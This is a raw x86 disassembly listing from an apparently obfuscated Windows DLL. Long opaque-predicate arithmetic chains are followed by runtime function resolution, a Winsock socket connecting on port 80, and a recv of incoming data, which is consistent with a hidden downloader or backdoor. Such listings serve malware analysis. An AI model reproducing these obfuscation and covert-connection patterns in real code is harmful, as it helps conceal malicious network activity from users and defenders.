mov ecx, dword [ecx]
mov dword [ecx], edx
mov dword [eax], 1
mov eax, dword [0x100c3b88]
add eax, dword [0x100c3b8c]
xor eax, 0xbf46b84f
xor eax, 0x78eace71
imul eax, eax, 0x47f45f28
imul eax, eax, 0xa43cc915
xor eax, 0x9e3e2508
mov ecx, 0x191e825
xor edx, edx
div ecx
or eax, 0x77578b9a
imul eax, eax, 0x23a5e78f
imul eax, eax, 0x66eced7e
sub eax, 0x56120f8
mov ecx, 0x5032b1ae
xor edx, edx
div ecx
or eax, 0x3f210b40
imul eax, eax, 0x61ae874e
mov ecx, 0x7370559c
xor edx, edx
div ecx
or eax, 0x4fdfdcaf
mov ecx, 0xd1c23f59
xor edx, edx
div ecx
sub eax, 0x46e99a18
imul eax, eax, 0xf32f81cd
and eax, 0xee13f012
or eax, 0xb0c166ad
mov ecx, 0x26a8219
xor edx, edx
div ecx
add eax, 0xc196197e
and eax, 0xa7b6b84a
sub eax, 0xe5fe0e4
xor eax, 0x8d15144a
add eax, 0x29f58a6c
imul eax, eax, 0x4cea8e14
and eax, 0x902a2a3
xor eax, 0x35b2568d
and eax, 0x27ad845d
add eax, 0x9cebb409
sub eax, 0x6e1bea06
add eax, 0x9a802ad1
and eax, 0x267567f4
or eax, 0x25e6fdd1
mov ecx, 0x7e29ed63
xor edx, edx
div ecx
or eax, 0x5a505ff3
xor eax, 0x2c6a1847
or eax, 0x2800fd0e
mov ecx, 0x69ba2a1c
xor edx, edx
div ecx
sub eax, 0xfbb05a77
xor eax, 0x1f5d95b0
or eax, 0x973661d7
imul eax, eax, 0x549c929a
imul eax, eax, 0xf5c83501
add eax, 0x4c4ac609
sub eax, 0xfcb72c73
and eax, 0x2dc36672
add eax, 0xc2e60542
sub eax, 0xcd4f5b3a
add eax, 0x749d7d81
and eax, 0x7db83168
mov ecx, 0xbafeee53
xor edx, edx
div ecx
mov ecx, 0xeccd81a1
xor edx, edx
div ecx
add eax, 0x26ea477b
and eax, 0xf846b534
mov ecx, 0x79bd6b
xor edx, edx
div ecx
imul eax, eax, 0xf2af3fcc
or eax, 0xca17a179
add eax, 0x65bf7862
xor eax, 0xd488957d
imul eax, eax, 0xed715b80
add eax, 0x57b0b63
xor eax, 0x2756095f
mov ecx, 0x9f565721
xor edx, edx
div ecx
imul eax, eax, 0x2486db85
sub eax, 0x3020344a
mov ecx, 0x1eeb0ba4
xor edx, edx
div ecx
mov ecx, 0x28f44a53
xor edx, edx
div ecx
xor eax, 0xa52739d7
sub eax, 0x1dee5fc2
imul eax, eax, 0xc2028884
cmp eax, 0x2a866f6b
jb 0x10055d56
mov ecx, dword [esi + 0x38]
mov eax, dword [0x100c3b90]
or eax, dword [0x100c3b94]
xor eax, 0x353a7e48
add eax, 0x5c4fee9f
mov edi, 0x919282bb
xor edx, edx
div edi
imul eax, eax, 0x9f8cf5ee
imul eax, eax, 0x9c6f7d87
or eax, 0xda77f368
imul eax, eax, 0xc218d380
mov edi, 0x9b5c493a
xor edx, edx
div edi
xor eax, 0x7cb54093
add eax, 0xaa743f59
xor eax, 0x8aa20510
add eax, 0x1156c6a3
and eax, 0xbedbf172
xor eax, 0xa2f6e094
imul eax, eax, 0x5c1cc2a5
imul eax, eax, 0x29dded3c
xor eax, 0x37e5ddf5
xor eax, 0xcbd072e9
add eax, 0x2d819f0d
add eax, 0x7965ff57
and eax, 0xa8ec9966
add eax, 0x884d207a
mov edi, 0x13062b56
xor edx, edx
div edi
or eax, 0x9a3f7006
add eax, 0xda47b878
add eax, 0x40f24c28
and eax, 0xd4fc5345
xor eax, 0xcf6e9835
xor eax, 0xb150914e
and eax, 0xc7ce6035
sub eax, 0x5fc6415e
or eax, 0x62fda20d
and eax, 0xeb6ad8ea
and eax, 0x628ceb15
and eax, 0xa15c8f25
and eax, 0xfce13bf7
sub eax, 0x581780de
mov edi, 0xc5ea2e80
xor edx, edx
div edi
mov edi, 0x8210edb0
xor edx, edx
div edi
and eax, 0xbf2425cb
and eax, 0xfeb0fe4b
or eax, 0xedc68502
mov edi, 0xf050f8aa
xor edx, edx
div edi
sub eax, 0x497cd1b7
mov edi, 0x5861ca69
xor edx, edx
div edi
mov edi, 0xb0ea99af
xor edx, edx
div edi
or eax, 0xc7c8489b
add eax, 0xea5c0148
or eax, 0x7c846ae2
xor eax, 0xb95595af
xor eax, 0xb4f9e367
and eax, 0xa4f8e41a
xor eax, 0x69bde21
sub eax, 0xb253c0af
mov edi, 0xe1508ca1
xor edx, edx
div edi
mov edi, 0x41e88567
xor edx, edx
div edi
or eax, 0x469ed998
imul eax, eax, 0xe6ca5351
imul eax, eax, 0xb335d65a
and eax, 0x13e9421d
or eax, 0x10c9f2e6
xor eax, 0xc4102c7b
and eax, 0xd1a53bef
mov edi, 0xc601ffad
xor edx, edx
div edi
xor eax, 0xea07b702
xor eax, 0x9e8df0d6
mov edi, 0x649bd7d
xor edx, edx
div edi
imul eax, eax, 0xee55f7dc
and eax, 0x7eefe430
add eax, 0x1de0387c
and eax, 0x1f6d785c
mov edi, 0x16491cf5
xor edx, edx
div edi
mov ecx, dword [ecx]
mov dword [esi + 4], ecx
cmp eax, 0x499fceed
jae 0x1005565c
mov ecx, dword [esi + 0x140]
xor ecx, ebp
call fcn.1006bd1f
mov eax, dword [esi + 4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, dword [esi + 0x5c]
mov edi, dword [esi + 0x58]
mov ebx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
mov eax, dword [0x100c2111]
mov dword [ecx + 7], eax
movsd xmm0, qword [0x100c210a]
movsd qword [ecx], xmm0
mov eax, dword [0x100c217c]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x128]
movsd xmm0, qword [0x100c2174]
movsd qword [ebx], xmm0
mov bx, word [0x100c2192]
mov word [edi + 8], bx
movsd xmm0, qword [0x100c218a]
movsd qword [edi], xmm0
mov di, word [0x100c21a5]
mov word [edx + 8], di
movsd xmm0, qword [0x100c219d]
movsd qword [edx], xmm0
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0x60]
mov ecx, dword [esi + 0x54]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x128]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0x64]
mov ecx, dword [esi + 0x58]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x128]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x5c]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x128]
mov dword [edx], edi
mov edx, dword [eax]
xor edi, edi
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10040280
mov ecx, dword [esi + 0x6c]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x70]
mov dword [ecx], edx
mov ecx, dword [0x100c21d2]
mov dword [eax], ecx
mov ecx, dword [0x100c21d6]
mov dword [eax + 4], ecx
sub esp, 4
mov dword [esp], eax
call fcn.1004a3e0
add esp, 4
jmp 0x10052641
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0x7c]
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], ecx
call dword [eax]
mov ecx, dword [esi + 0x80]
mov eax, dword [esi + 0x88]
mov dword [ecx], 1
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.1006f6e0
mov eax, dword [esi + 0x88]
add esp, 0xc
mov dword [eax + 4], 2
mov dword [eax + 8], 1
jmp 0x1005299b
jmp 0x10052d79
mov edi, dword [esi + 0xcc]
mov ebx, dword [esi + 0xc8]
mov edx, dword [esi + 0xac]
mov eax, dword [esi + 0x98]
mov ecx, dword [0x100c21e4]
mov dword [eax + 3], ecx
mov ecx, dword [0x100c21e1]
mov dword [eax], ecx
mov ecx, dword [esi + 0x9c]
mov eax, dword [esi + 0xa0]
movsd xmm0, qword [0x100c21c2]
movsd qword [ecx], xmm0
mov cl, byte [0x100c21f1]
mov byte [eax + 4], cl
mov ecx, dword [str._rW_f_]
mov dword [eax], ecx
mov ecx, dword [esi + 0xa4]
mov al, byte [0x100c21fb]
mov byte [ecx + 4], al
mov eax, dword [0x100c21f7]
mov dword [ecx], eax
mov eax, dword [esi + 0xa8]
mov ecx, dword [0x100c220e]
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0x98]
movsd xmm0, qword [0x100c2206]
movsd qword [eax], xmm0
mov ax, word [0x100c221b]
mov word [edx + 4], ax
mov eax, dword [0x100c2217]
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov ecx, dword [esi + 0x9c]
mov edx, dword [esi + 0xb0]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov ecx, dword [esi + 0xa0]
mov edx, dword [esi + 0xb4]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0xb8]
mov ecx, dword [esi + 0xa4]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0xbc]
mov ecx, dword [esi + 0xa8]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov ecx, dword [esi + 0xc0]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x128]
mov dword [ecx], edx
mov edx, dword [eax]
xor ecx, ecx
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xac]
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10040280
mov edx, dword [esi + 0x130]
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0xc4]
mov dword [eax], ecx
mov ecx, dword [esi + 0xd0]
mov dword [ebx], 0x1000
mov dword [edi], 0
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [ecx + 4], edx
mov word [ecx], 2
sub esp, 4
mov dword [esp], 0x50
call dword [eax]
mov ecx, dword [esi + 0xd0]
mov edx, eax
mov eax, dword [esi + 0xb0]
mov word [ecx + 2], dx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 0
call dword [eax]
mov edx, dword [esi + 0xd4]
mov ecx, dword [esi + 0xd0]
mov edi, eax
mov eax, dword [esi + 0xb4]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xcc]
mov dword [eax], ecx
jmp 0x10053188
mov eax, dword [esi + 0x38]
mov dword [eax], 0
jmp 0x10053726
mov eax, dword [esi + 0xe4]
mov ecx, dword [esi + 0xd4]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0xe8]
mov ecx, dword [esi + 0xe4]
mov edi, eax
mov eax, dword [esi + 0xfc]
mov dword [edx], edi
mov edx, dword [0x100c2221]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1004d720
add esp, 8
mov ecx, eax
mov eax, dword [esi + 0x100]
mov dword [eax], ecx
jmp 0x10053b09
mov ecx, dword [esi + 0x3c]
mov eax, dword [esi + 0xe4]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1003fe60
mov ecx, dword [esi + 0xf4]
mov edx, dword [esi + 0x3c]
add esp, 0xc
mov eax, dword [esi + 0xe4]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1003fe60
add esp, 0xc
mov eax, dword [esi + 0x3c]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1006bd11
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x40]
mov eax, dword [eax]
mov dword [eax], ecx
jmp 0x10053f91
jmp 0x1005439e
jmp 0x10054762
mov eax, dword [esi + 0xf8]
mov dword [eax], 0
sub esp, 4
mov dword [esp], 0xc
call fcn.10015af0
add esp, 4
jmp 0x10054b26
jmp 0x10054ebd
jmp 0x100552a1
jmp 0x1005565c